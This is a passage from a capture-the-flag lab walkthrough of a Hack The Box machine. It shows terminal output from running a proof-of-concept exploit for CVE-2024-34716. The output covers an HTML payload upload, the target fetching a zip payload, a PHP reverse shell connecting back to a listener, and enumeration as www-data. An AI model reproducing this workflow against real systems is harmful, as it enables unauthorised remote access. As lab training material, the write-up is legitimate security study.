CVE-2024-34716


Completed the modification of the exploit PoC

┌──(kali㉿kali)-[~/…/htb/labs/trickster/CVE-2024-34716]
└─$ python3 exploit.py
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL
listening on [any] 9999 ...

Executing the exploit script. HTML payload has been uploaded

The target web application fetched the zip payload

PHP Reverse Shell was executed

┌──(kali㉿kali)-[~/…/htb/labs/trickster/CVE-2024-34716]
└─$ python3 exploit.py
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL
listening on [any] 9999 ...
connect to [10.10.15.34] from (UNKNOWN) [10.129.87.236] 40776
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 23:10:10 up  2:49,  0 users,  load average: 0.70, 0.28, 0.20
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname
trickster
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:48:cb brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.87.236/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2766sec preferred_lft 2766sec
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:45:c9:66:d9 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
21: veth4698c7f@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 82:66:13:3e:fd:5a brd ff:ff:ff:ff:ff:ff link-netnsid 0

Initial Foothold established to the target system as the www-data account via exploiting CVE-2024-34716